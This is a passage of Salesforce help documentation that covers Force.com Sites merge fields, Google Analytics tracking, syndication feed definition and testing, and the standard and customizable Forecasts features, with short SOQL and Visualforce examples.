String startUrl startUrl If startUrl is not a
relative path, it defaults to the site's
designated index page.
Note: Do not include
http:// or https:// in
the startURL.

Force.com Sites-Related Expressions


Force.com also provides the following expressions to use on Visualforce pages, email templates, and s-controls:

Merge Field Description


{!$Site.Name} Returns the API name of the current site.
{!$Site.Domain} Returns the Force.com domain name for your organization.
{!$Site.CustomWebAddress} Returns the value of the Custom Web Address field for the current site.
{!$Site.OriginalUrl} Returns the original URL for this page if it is a designated error page for the
site; otherwise, returns null.
{!$Site.CurrentSiteUrl} Returns the value of the site URL for the current request (for example,
http://myco.com/ or https://myco.force.com/prefix/).

{!$Site.LoginEnabled} Returns true if the current site is associated with an active login-enabled
portal; otherwise returns false.
{!$Site.RegistrationEnabled} Returns true if the current site is associated with an active
self-regitration-enabled Customer Portal; otherwise returns false.
{!$Site.IsPasswordExpired} For authenticated users, returns true if the currently logged-in user's password
is expired. For non-authenticated users, returns false.
{!$Site.AdminEmailAddress} Returns the value of the Site Contact field for the current site.

1564
Force.com Sites Tracking Your Site with Google Analytics

Merge Field Description


{!$Site.Prefix} Returns the URL path prefix of the current site. For example, if your site
URL is myco.force.com/partners, partners is the path prefix. Returns
null if the prefix is not defined, or if the page was accessed using a custom
Web address.
{!$Site.Template} Returns the template name associated with the current site; returns the default
template if no template has been designated.
{!$Site.ErrorMessage} Returns an error message for the current page if it is a designated error page
for the site and an error exists; otherwise, returns an empty string.
{!$Site.ErrorDescription} Returns the error description for the current page if it is a designated error
page for the site and an error exists; otherwise, returns an empty string.
{!$Site.AnalyticsTrackingCode} The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.

Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use
them within the context of your public site; otherwise, an empty string is returned for all expressions except
{!$Site.Template}, which returns the default template for the site.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Login and Registration Settings

Tracking Your Site with Google Analytics


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your
sites and site pages, including number of visits, number of page views, average time spent on site, and more.
Note: The <site:googleAnalyticsTracking component only works on pages used in a Force.com site. Sites
must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a
tracking code, go to the Google Analytics website.

To track a site using Google Analytics:

1. Sign up for an account at Google Analytics.

1565
Force.com Sites Defining Syndication Feeds

2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track.
3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking
Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed
by your account and profile numbers. For example, UA-9049246-2.
4. Click Save.
5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in
the individual pages themselves:

<site:googleAnalyticsTracking/>

Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The
default site template already contains the tag, so all pages using that template will be tracked—including certain default
pages.
Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.

6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up
to 24 hours to see initial tracking results in Google Analytics.

Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web
property ID in the Analytics Tracking Code field for each site.

See Also:
Force.com Sites Overview
Managing Force.com Sites
Creating and Editing Force.com Sites
Viewing 24-Hour Site Usage History
Reporting on Force.com Sites

Defining Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.

1566
Force.com Sites Defining Syndication Feeds

Define a syndication feed, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or
the underscore character “_”. Do not use more than one underscore character in a row.

Description
Describe the feed. For example, “Account first name, last name, and region for the last ten accounts created or edited.”

Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed:

• If the SOQL query does not specify a limit, then no more than 20 records are returned.
• Only the first 200 records are returned regardless of what the SOQL query specifies.
• If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate
value if there is one, or by SystemModstamp value if not
• COUNT is not supported.
• Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:

SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

For more information about aggregate relationship queries, see the aggregate query examples in Force.com Web Services
API Developer's Guide.
• You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind
Variables for Queries and Mapping on page 1569.

Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query,
because the Force.com platform verifies access and sharing before saving.

Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see ATOM-Object Mapping on page 1568.
You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables
for Queries and Mapping on page 1569.

Max Cache Age Seconds


Because many users may access a feed at the same time, Salesforce.com caches the feed data, for 3600 seconds by default.
You can modify this to a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.

Active
Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing
to it.

1567
Force.com Sites Defining Syndication Feeds

ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to
the corresponding value in a record, for example, “Account Name.” A full set of mappings represents a news feed, and the
query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated
Account information.
A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope.
Mapping also allows you to apply short labels to various fields for display purposes.
The following table lists each ATOM and object element and explains what values should be provided:

Feed Element Entry Element Description


fa Required only if ea (entry author) is not specified. Feed author. For example, fa:"Acme
Feed Author Admin Mary" shows the feed author as Admin Mary.

fid Optional (because default value is supplied). Id of the feed. By default, this value is the
public site URL. If you specify a value, it must be a valid internationalized resource
identifier (IRI). An IRI is a URL generalized to allow the use of Unicode.
fl Optional (because default value is supplied). Feed link. For example,
fl:"http://www.salesforce.com". News readers usually interpret this element
by linking the feed title to this URL.
fst Optional. Feed subtitle. For example, &map=ft:"Newest
Opportunities",fst:"Western Division" shows the feed title Newest
Opportunities and subtitle Western Division.
ft Required. Feed title. For example, ft:"Newest Opportunities".
ea Required only if fa (feed author) is not specified. Entry author. For example,
ea:"Account created by: " + Account.CreatedBy .

ec Required. Entry content. For example,ec:"description for " Name "<br>"


Description shows the value of the Name field with additional text. The output of a
feed for this example resembles the following:

description for Ajax Industries Description

ect Optional. Entry content of type text, html, or xhtml. For example, ect: html for
HTML content. Default is text.
el Optional. Entry link. Must be a valid URI. This value is usually a link to another
representation of the content for the entry. For example, the link could be to a record in
the Salesforce.com user interface. News readers usually interpret this element by linking
the entry title to this URL For example, el:"Account.URl".
es Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "’s account number, website,
and description", ec: Account.Number + " " + Account.Website +
“ “ + Account.Description
If not specified, news readers display the content defined using the ec element.

est Optional. Entry summary of type text, html, or xhtml. For example, est: html for
HTML content. Default is text. Do not specify a value unless es has been specified.

1568
Force.com Sites Defining Syndication Feeds

Feed Element Entry Element Description


et Required. Entry title, a field name. For example, et:Name.
eu Optional. By default, the required ATOM element <updated> value is automatically
provided by the LastModifedDate of the main entity being queried; usually the object
in the main FROM clause of the SOQL query. This value indicates the last time an entry
or feed was modified. If you wish to change this default behavior, you can specify a
different object or field's LastModifedDate be used. For example:
• Query: SELECT Id, Name, MyDate__c FROM AccountMapping Parameter:
eu: MyDate__c
• Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM
ContactMapping Parameter: eu: Account.LastModifiedDate

The following example shows a valid mapping values for a syndication feed:

ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html

Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom
labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of
the guest user. For more information, see Custom Labels and Feeds on page 1570.
You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK.
After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described
above. For more information about testing, see Testing Syndication Feeds on page 1572.

Using Bind Variables for Queries and Mapping


You can use bind variables in the WHERE clause of the SOQL query. Bind variables must be in the following form:

{!var_name}

The following query uses a bind variable named accountID.

SELECT Name, Description


FROM Account
WHERE Id = {!accountID}

Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to
the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query
string parameter:

site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

You can also use bind variables for mapping values.


The following implementation details apply to the use of bind variables for queries:
• You cannot use more than 20 bind variables in a feed definition, queries and mapping combined.
• The bind variable name cannot be more than 100 characters.

1569
Force.com Sites Defining Syndication Feeds

• You can use a bind variable only on the right side of a filter operation to represent part of a string. Because it represents
part of a string, it must be in quotes. For example, the following is a valid query:

SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable
for a literal string:

SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe'


SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

• You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a
filter operation.
• You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters
you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.

Custom Labels and Feeds


For feeds that need to be localized into different languages, you can use custom labels to define the string in multiple languages.
Then in the mapping definition, you simply refer to the custom label. When a request come in, the custom label inspects the
guest user language and return the translated text, which is used in the mapping.
Custom labels can be specified in a field with the following syntax:

map_element_name: "{!$LABEL.custom_label_name}"

Use the following procedure to specify a custom label in a feed:


1. Create a custom label using the information in Adding or Editing Custom Labels on page 761. You may wish to name the
custom label after the mapping element that takes its value, for example feedTitle for the ft element.
2. Enter the values for all supported languages.
3. Specify the custom label in the feed mapping.
For example, assume that you create a feed containing information on all the houses your company is trying to sell. For English
users, the title of the feed should be “The Houses,” but for Spanish users, the title of the feed should be “Las Casas.” You
would create a custom label, for example, feedTitle. In English, its value is “The Houses,” and the Spanish value is “Las
Casas.” Then, in the feed mapping definition, specify the following for the feed title fc::

ft: "{!$LABEL.feedTitle}"

Visualforce and Feeds


To add a feed to a Visualforce page, use the Visualforce standard HTML features. For example, assuming the Visualforce
page is located in the base directory of the site, it can contain a tag like the following:

<A HREF=""/services/xml/theFeedName">My feed</A>

The text My feed links to the feed.


If you want to link the feed from an image, include an inline image tag similar to the following:

<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

You must upload your own image.

1570
Force.com Sites About Syndication Feeds

To add the icon to the address bar, add the link tag to the <head> tag of the Visualforce page:

<link href='URI of feed'


type='application/x.atom+xml'
rel='feed'
title='A nice descriptive title'/>

For more information about Visualforce, see the Visualforce Developer's Guide.

See Also:
About Syndication Feeds
Testing Syndication Feeds

About Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.

Validating Feeds Security


When a user subscribes to a feed, the information is run in a guest user context. This means that you must ensure the guest
user has access to all and only the records appropriate for a guest use before defining any queries.
To validate feeds security:
• Edit the public access setting for the site to make sure the guest user has the correct object permissions and field-level
security settings.
• Create sharing rules to control which records the guest user has access to.
After adjusting public access and field-level security settings to ensure the objects you wish to include in a feed are available
to the guest user, perform any of the following feeds-related tasks:

• To create a new feed, click New.


• To view the definition of an existing feed, click the feed name.
• To edit an existing feed, click Edit.
• To delete an existing feed, click Delete.

1571
Force.com Sites Testing Syndication Feeds

• To test the validity of a feed, click Run Test. If any errors exist in the query definition or mapping, error messages are
displayed.

See Also:
Defining Syndication Feeds
Testing Syndication Feeds
Public Access Settings for Force.com Sites
Setting Your Organization-Wide Default Sharing Model

Testing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

Test the feed definition you have created before enabling it for customers.
To test a feed:

1. After creating a feed, navigate to Setup ➤ Sites and click the site for which you've defined the feed. Alternatively, you
can navigate to the feed detail page any number of ways, including clicking the feed name from the site detail page.
2. Click Preview for the feed you wish to test.
3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable.
4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save
the bookmark, or cancel the dialog.
5. The values returned by your feed are displayed. Verify that the results are what you expected.

See Also:
Defining Syndication Feeds
About Syndication Feeds

1572
Force.com Sites Viewing Syndication Feeds

Viewing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

View the syndication feed definition, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create.

Description
Describes the feed. For example, “Account first name, last name, and region for the last ten accounts created or edited.”

Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1566.

Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see Defining Syndication Feeds on page 1566.

Max Cache Age Seconds


Because many users may access a feed at the same time, Salesforce.com caches the feed data, for 3600 seconds by default.
This value can be a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.

Active
This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of
subscribing to it.

See Also:
Defining Syndication Feeds
About Syndication Feeds
Testing Syndication Feeds

1573
FORECASTING

Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A forecast is your best estimate of how much revenue you can generate in a quarter. This amount is divided between Commit
Amount - the amount you can confidently close - and Best Case Amount - the total amount of revenue you might possibly
generate. A manager’s forecast should include the amount of revenue the entire team can generate together.
The Forecasts tab displays a home page that lets you quickly create and locate forecasts and quotas. The Forecasts tab also
displays your monthly revenue projections, the amount of open opportunities in your pipeline, and the amount of your
closed/won opportunities. Managers’ forecasts also show a roll-up of forecast data for users that report to them.
Note: This information does not apply to customizable forecasting. If you have enabled custom fiscal years you must
use customizable forecasting.

See Also:
Forecasts Home
Tip sheet: Forecasts: Assessing Your Position

Forecasts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Clicking on the Forecasts tab displays the forecasts home page.

• In the Forecast Views section, select a list view from the drop-down list to go directly to that list page, or click Create
New View to define your own custom view.
• In the Forecast Summary section, the current quarter’s forecast numbers display by default. To see another quarter’s
forecast, select from the drop-down list. From the summary, click the View button or the Totals link to go to the forecast
detail. Click Edit to edit the forecast.
• Under Quick Create, choose the forecast quarter to add a new forecast.
• Under Forecast Reports, click any report name to jump to that report.
• In the Quota Assignment section, click the link to create a new quota. Or, edit your forecast to change that quarter’s
quota.

1574
Forecasting Viewing Forecast Lists

Note: This information does not apply to customizable forecasting. See Do I Have Customizable Forecasting? on
page 1581 to determine if your organization has enabled customizable forecasting.

See Also:
Forecasts Overview
Displaying and Editing Forecasts
Creating Forecasts
Deleting Forecasts
Creating Custom List Views

Viewing Forecast Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The forecasts list page displays a list of forecasts in your current view. From this page, you can view detailed forecast information
and access related information on opportunities that contribute to forecast results.

• Click on a specific forecast to view the detail. Click Edit or Del next to the forecast entry to edit or delete it. See Displaying
and Editing Forecasts on page 1575.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click New Forecast to create a forecast. See Adding and Editing Quotas on page 63.
• Click any column heading on the list page to sort the forecasts in ascending order using that column’s information. Click
the heading a second time to sort in descending order.

Note: This information does not apply to customizable forecasting. See Do I Have Customizable Forecasting? on
page 1581 to determine if your organization has enabled customizable forecasting.

Displaying and Editing Forecasts


See the following to display and edit forecasts:

• Displaying Forecasts
• Editing Forecasts
• Tagging Forecasts
• Setting Forecast Currency

1575
Forecasting Displaying and Editing Forecasts

Note: This information does not apply to customizable forecasting. See Do I Have Customizable Forecasting? on
page 1581 to determine if your organization has enabled customizable forecasting.

See Also:
Forecast History
Team Forecasts

Displaying Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Once you have located a forecast on the forecasts home or list pages, click View or the forecast name to display detailed
information.
At the top of the page, the table shows the forecast fields, which can contain calculated values or information that you entered
(see Forecast Fields on page 1579). Click Edit to edit the forecast (see Editing Forecasts on page 1576).
For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your
personal currency. The actual amount fields in the opportunity are not affected. Click Change Currency to modify the default
currency of the forecast (see Setting Forecast Currency on page 1577).
The lower part of the forecast detail page shows forecast details in blue and related opportunities in yellow:

• For each of the months in the forecast, you can click on individual opportunities to display additional detail. Click New
to add opportunities for that month in the forecast.
• In the Team Forecasts related list (see Team Forecasts on page 1578), managers see a roll-up of amounts for their team.
• In the Forecast History related list (see Forecast History on page 1578), you can see the history of the changes for the forecast.

To return to the last list page you viewed, click Back to list at the top of the forecast detail page. See Navigating on page 42
for more information.

Editing Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To change your forecast, choose Edit from the forecast home page or detail page. If you are creating a new forecast, see Creating
Forecasts on page 1578.

1. For each opportunity, adjust the Forecast Category value, if necessary.

• The entire Amount of the opportunity is added to the category you choose. The Expected Revenue is not used in
the calculation.
• Choose the Omitted category to remove the opportunity from the commit, best case, and pipeline totals.

2. To see the resulting changes to the forecast numbers, click Recalculate. The forecast fields are recalculated based on:

1576
Forecasting Displaying and Editing Forecasts

• The Amount fields of the opportunities in each Forecast Category, and


• Any Forecast Category changes you have made, and
• If you are a manager in the role hierarchy, any changes your team has made to their forecasts.

Note that the Pipeline number is not updated until you save the forecast.
3. If necessary, adjust your Quota, Commit Amount, and Best Case Amount.
4. To make the changes permanent, click Save. This saves the recalculated totals and any changes you have made to quotas,
the Commit Amount and Best Case Amount columns, or to the Forecast Category for specific opportunities.
Saving also updates the Pipeline number for the forecast.

For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your
personal currency. The actual amount fields in the opportunity are not affected.
Note: Any change you make to the Stage field while editing an opportunity resets the Forecast Category. Your
administrator sets the correspondence between Forecast Category and Stage in the Stage picklist.

See Also:
Setting Forecast Currency
Forecast History
Team Forecasts
Forecast Fields
Creating Forecasts
Deleting Forecasts

Setting Forecast Currency


Available in: Professional, Enterprise, Unlimited, and Developer Editions

For organizations that use multiple currencies, all forecast amounts are shown in your personal currency, by default. If you
have opportunities in different currencies, those amounts are converted to your personal currency for display; the actual amounts
in the opportunity are not affected. Likewise for managers, their team’s forecast amounts are converted to the manager’s
personal currency. The manager can drill down into the user’s forecast and opportunities to see the amounts in the original
currencies.
To change the currency for your forecast:

1. View the forecast, and click Change Currency.


2. Choose a currency from the list, and click Save. All amounts are converted to the new currency.

If you change the currency for the quota associated with the forecast, the currency of the forecast also changes. See Adding
and Editing Quotas on page 63.

1577
Forecasting Creating Forecasts

Forecast History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Forecast History related list of a forecast detail page tracks the changes to the forecast. Any time you change the Quota
(either from the forecast detail page or from the Personal Information pages), Commit Amount, or Best Case Amount
numbers, a new entry is added to the Forecast History related list. All entries include the date, time, and the forecast totals at
the time of the change.
From the Reports tab, you can view the Forecast History report which shows the forecast history for your forecasts, subtotaled
by opportunity.

See Also:
Adding and Editing Quotas
Opportunity, Forecast, and Sales Reports

Team Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

On forecast pages, managers see their own opportunities, plus a roll-up of forecast data for users that report to them.
Note: If your team members have not created forecasts for the quarter, no information is displayed for them.

• On the forecast detail page, the Team Forecasts related list displays forecast data for each user that reports to you. These
amounts are totaled to give you a complete roll-up for your team. Click a user’s name to view that user’s forecast detail, or
click Edit to edit that user’s forecast.
• On the forecast edit page, each month has a Team Forecast related list so you can view a roll-up of opportunities and
forecast amounts for each month.
• For organizations with multiple currencies, the team members’ forecasts are converted and displayed in the currency of the
manager’s forecast. Click a user’s name to drill down and view amounts in their original currencies.

Creating Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To create a new forecast:

1. Click New Forecast.

1578
Forecasting Forecast Fields

2. Choose the year and quarter for the forecast, and click Next. The year you select should be based on your organization’s
Fiscal Year Starts In settings.
3. Enter the Quota for each of the months in the forecast.
4. Verify, and adjust if necessary, the Forecast Category for the opportunities in the forecast.
If you change any of the Forecast Category values, click Recalculate to update the forecast numbers. Note that the
Pipeline number is not updated until you save the forecast.
5. If necessary, adjust the calculated values for the Commit Amount and Best Case Amount fields. Managers’ estimates
should include the amount of revenue they and their entire team can generate.
6. Click Save.

If Quick Create is enabled by your administrator, you can also add a new forecast on the forecasts home page, or just by
creating a quota for the quarter in your personal information accessed via Setup ➤ My Personal Information ➤ Personal
Information.
See Displaying Forecasts on page 1576 for an explanation of the forecast display.
Note: This information does not apply to customizable forecasting. See Do I Have Customizable Forecasting? on
page 1581 to determine if your organization has enabled customizable forecasting.

See Also:
Editing Forecasts
Forecast Fields
Forecasts Home

Forecast Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A forecast has the following fields, listed in alphabetical order.

Field Description
% Quota Percentage of quota that you are committing to. Calculated
as Commit Amount divided by Quota. (Read only)
Best Case Amount Total sales amount you might possibly close. Includes
closed/won opportunities plus opportunities with the Commit
and Best Case categories.
Closed Automatically calculated total of closed/won opportunities.
For managers, this number includes all closed/won
opportunities for their entire team. (Read only)
Created By User who created the forecast including creation date and
time. (Read only)

1579
Forecasting Deleting Forecasts

Field Description
Commit Amount Total sales amount you are confident of closing. Includes
closed/won opportunities plus opportunities with the Forecast
category.
Forecast Category Category that determines the column in which an opportunity
is totaled in the forecast. The default setting for an opportunity
is tied to its Stage.
Modified By User who last changed the forecast fields, including
modification date and time. This does not track changes made
to any of the opportunities on the forecast. (Read only)
Month Months included in the forecast. Opportunities with a close
date in that month are included for that month (except those
in the Omitted category). (Read only)
Pipeline Automatically calculated total of open opportunities. For
managers, this number includes all open opportunities for
their entire team. Closed/lost opportunities and those marked
with the Omitted category are not tabulated in the pipeline.
(Read only)
Quota Quota for a particular month or quarter. For managers, this
number should equal the quota for them and their entire team.

Note: This information does not apply to customizable forecasting. See Do I Have Customizable Forecasting? on
page 1581 to determine if your organization has enabled customizable forecasting.

See Also:
Displaying and Editing Forecasts
Creating Forecasts

Deleting Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To delete a forecast, click Del next to the forecast in the forecasts list page, or click Delete on the forecast detail page. Deleted
forecasts cannot be retrieved from your Recycle Bin.
Note: You can delete a forecast if you are an administrator, the forecast owner, or a user above the forecast owner in
the organization role hierarchy. This information does not apply to customizable forecasting. See Do I Have
Customizable Forecasting? on page 1581 to determine if your organization has enabled customizable forecasting.

1580
CUSTOMIZABLE FORECASTS

Customizable Forecasting Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Customizable forecasting is a flexible solution for estimating how much revenue your organization can generate or how many
items your organization can sell. You can set up customizable forecasting to reflect how your organization forecasts its sales.
With it, you can forecast on a monthly or quarterly basis, use different dates when applying amounts to forecasts, forecast
based on revenue or quantity or both, and define additional quotas based on product families.
Use customizable forecasts to review your forecast and drill down through your forecast amounts to see the opportunities
included in your forecast. Override forecast amounts directly from the opportunity, or override the forecast from the Forecasts
tab without notifying users below you in the forecast role hierarchy.
For information on implementing customizable forecasting for your organization, see Setting Up Customizable Forecasting.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Managing Customizable Forecasts
Viewing Customizable Forecasts
Do I Have Customizable Forecasting?

Do I Have Customizable Forecasting?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Customizable forecasting may be difficult to distinguish because the tab name does not change when you convert to customizable
forecasting. Here is how to tell if you have customizable forecasting:

1. Click the rightmost tab with the right arrow to view all tabs available to you.
2. Click Customize My Tabs.

If you have customizable forecasting enabled, you will see Customizable Forecasts listed in either the available or selected tabs
list.
If you do not have customizable forecasting, you can activate it. Depending on your organization, you may see different options
for activating customizable forecasting.

1. Click on the Forecasts tab.

• If you see the Introducing Customizable Forecasting button, click it. Then, click Request Now!.
• If you see the Request Now! button, click it.
• If you don't see either button, customizable forecasting has already been activated for your organization.

1581
Customizable Forecasts Working with Forecast Categories

2. Once customizable forecasting is activated, see Setting Up Customizable Forecasting on page 741.

If you are not using customizable forecasting, see Forecasts Home on page 1574.

See Also:
Customizable Forecasting Overview
Customizable Forecasting Home
Managing Customizable Forecasts
Submitting Customizable Forecasts
Forecast Override Indicators
Overriding Customizable Forecasts

Working with Forecast Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your forecast is a representation of your opportunity amounts, dates, and stages. Click the Forecasts tab and notice that your
forecast amounts are listed in different categories. Depending on its stage, an opportunity amount can be included in the
following forecast categories:

• Best Case includes amounts you are likely to close, closed/won opportunity amounts, and amounts in the Commit category.
• Closed includes amounts for closed/won opportunities.
• Commit includes amounts you are confident about closing and closed/won opportunity amounts.
• Omitted means the amount does not contribute to your forecast.
• Pipeline includes amounts from all open opportunities.

Note: You can edit the forecast category field on opportunities to change the value displayed in reports, opportunity
detail and edit pages, opportunity searches, and opportunity list views. For example, you can change the value of the
Commit category to Won to make the category name match your business processes.

Each value in the opportunity Stage picklist is automatically mapped to a Probability and value in the Forecast
Category picklist. Change the Stage of an opportunity and the Probability as well as the Forecast Category changes
with it.
For example, your organization may have mapped the “Negotiation/Review” stage to the “Best Case” forecast category. This
means that the amounts of your opportunities in “Negotiation/Review” are included in your “Best Case” forecast amount.
Your organization may have set up different mappings but an example of how these fields map is below:

Stage Probability Forecast Category


Prospecting 10% Pipeline
Qualification 10% Pipeline
Needs Analysis 20% Pipeline
Value Proposition 50% Pipeline

1582
Customizable Forecasts Customizable Forecasting Home

Stage Probability Forecast Category


Id Decision Makers 60% Pipeline
Perception Analysis 70% Pipeline
Proposal/Price Quote 75% Pipeline
Negotiation/Review 90% Best Case
Closed Won 100% Commit

Regardless of whether you use customizable forecasting or not, your forecasts still rely on how your opportunity Stage picklist
values map to values in the Forecast Category picklist.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Managing Customizable Forecasts
Viewing Customizable Forecasts

Customizable Forecasting Home


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users: “View All Forecasts”
To override your forecast: “Override Forecasts”

Clicking the Forecasts tab displays your forecast for the selected forecast period.

• Click Submit to submit a forecast, making a snapshot of the forecast data available in the forecast history and forecast
reports. See Submitting Customizable Forecasts on page 1590.
• Click Forecast History to display the forecast data you submitted in the past. Then, click Forecast Summary to return
to the current forecast data.
• Click Printable View to display the selected forecast in a simple, print-ready layout.
• Review your forecast and the forecasts of any direct reports or forecasts that are manually shared with you. See Viewing
Customizable Forecasts on page 1585 for instructions on different viewing options.
• Click the Forecast subtab to see forecast details. See Viewing Customizable Forecasts on page 1585 for more information.
• Click the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities
subtab, you can choose, or create, a list view to further filter the displayed opportunities. See Viewing Customizable
Forecasts on page 1585 for more information.
• Click the edit icon ( ) to make changes to the adjusted forecast total, or to add an override to a particular forecast amount.
For instructions on overriding forecast amounts, see Overriding Customizable Forecasts on page 1587.

1583
Customizable Forecasts Managing Customizable Forecasts

If your forecast is not available, contact your administrator about adding you to the forecast hierarchy (or the territory hierarchy,
if your organization uses territory management).
Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity
data. You do not need to create or delete forecast records.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Managing Customizable Forecasts
Viewing Customizable Forecasts

Managing Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users: “View All Forecasts”
To override your forecast: “Override Forecasts”

Your forecasts represent your opportunity amounts, dates, and stages. To make sure your forecasts are an accurate representation
of your revenue potential:

1. Review your forecast amounts. See Viewing Customizable Forecasts on page 1585 for instructions on different viewing
options.
2. Determine if you want to override any amounts.
3. Override amounts if necessary. This requires the appropriate user permission. See Overriding Customizable Forecasts on
page 1587.

1584
Customizable Forecasts Viewing Customizable Forecasts

4. Submit your forecast to make a snapshot of your forecast data available in your forecast history and forecast reports. See
Submitting Customizable Forecasts on page 1590.

See Also:
Customizable Forecasting Overview
Working with Forecast Categories
Customizable Forecasting Home
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
